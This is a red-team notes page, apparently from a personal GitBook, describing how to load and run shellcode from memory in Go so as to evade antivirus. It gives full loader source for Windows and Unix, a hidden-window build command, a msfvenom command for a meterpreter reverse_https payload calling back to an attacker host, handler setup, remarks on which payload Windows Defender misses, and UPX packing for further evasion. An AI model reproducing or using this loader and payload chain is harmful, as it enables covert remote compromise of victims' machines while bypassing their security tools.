#TodayILearned
  • Intro
  • Mobile
    • ADB
    • Bundletool
    • Frida
    • Objection
    • Apktool
    • Patching Smali
    • jadx
    • Xamarin
    • Emulator
    • Correlium
  • Network
    • Bettercap
  • Red Team
    • Unicorn
    • Macros
    • Defense Evasion
      • Load shellcode from memory using Golang
      • Hershell
    • Initial Compromise
      • Password Spraying
  • Web
    • Burp
    • IIS
  • Pentest
    • Metasploit
    • sqlmap
    • Hashcat
  • Miscellaneous
  • Recon
  • Docker
    • GitHub
    • Pulling from an insecure registry
    • Exploring a Docker image
  • Recon
    • Aquatone
    • Censys
    • MassDNS
    • S3 buckets enumeration with ffuf
    • Shodan
  • Flutter
    • Privilege Escalation
  • SSTI
Powered by GitBook
On this page

Was this helpful?

  1. Red Team
  2. Defense Evasion

Load shellcode from memory using Golang

PreviousDefense EvasionNextHershell

Last updated 5 years ago

Was this helpful?

This is a program to run shellcode as its own process, all from memory written to defeat anti-virus detection.

Original code by mofified by :

package main

import (
	"encoding/hex"
	"fmt"
	"os"

	shellcode "github.com/brimstone/go-shellcode"
)

func main() {

	sc :="SHELLCODE-GOES-HERE"
	sc_bin, err := hex.DecodeString(sc)
	if err != nil {
		fmt.Printf("Error decoding arg 1: %s\n", err)
		os.Exit(1)
	}

	shellcode.Run(sc_bin)
}
// +build linux freebsd darwin

package shellcode

/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void call(char *shellcode, size_t length) {
	if(fork()) {
		return;
	}
	unsigned char *ptr;
	ptr = (unsigned char *) mmap(0, length, \
		PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if(ptr == MAP_FAILED) {
		perror("mmap");
		return;
	}
	memcpy(ptr, shellcode, length);
	( *(void(*) ()) ptr)();
}
*/
import "C"
import (
	"unsafe"
)

func Run(sc []byte) {
	C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc)))
}
package shellcode

import (
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func Run(sc []byte) {
	// TODO need a Go safe fork
	// Make a function ptr
	f := func() {}

	// Change permissions on f function ptr
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Override function ptr
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

	// Change permissions on shellcode string data
	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Call the function ptr it
	f()
}

The binary can be built using this command:

GOOS=windows \
GOARCH=amd64 \
go build -ldflags="-s -w -H=windowsgui" \
cmd/sc/main.go

To generate the shellcode you can use this command:

msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=xxx \
LPORT=xxx \
-b \x00 \
-f hex

At the time of writing the windows/x64/meterpreter/reverse_tcp payload was flagged by windows defender when executing (behavior analysis) but not the windows/x64/meterpreter/reverse_https

Starting the handler:

msfconsole -x "use exploit/multi/handler;\
set PAYLOAD windows/x64/meterpreter/reverse_https;\
set LHOST localhost;\
set LPORT 8443;\
run -j"

Packing the binary using UPX might help with Antivirus detection:

brew install upx
upx main.exe --brute

References

brimstone
JUMPSEC
Bypassing Antivirus with Golang - Gopher it! - JUMPSEC LABSJUMPSEC LABS
GitHub - brimstone/go-shellcode: Load shellcode into a new processGitHub
Logo
Logo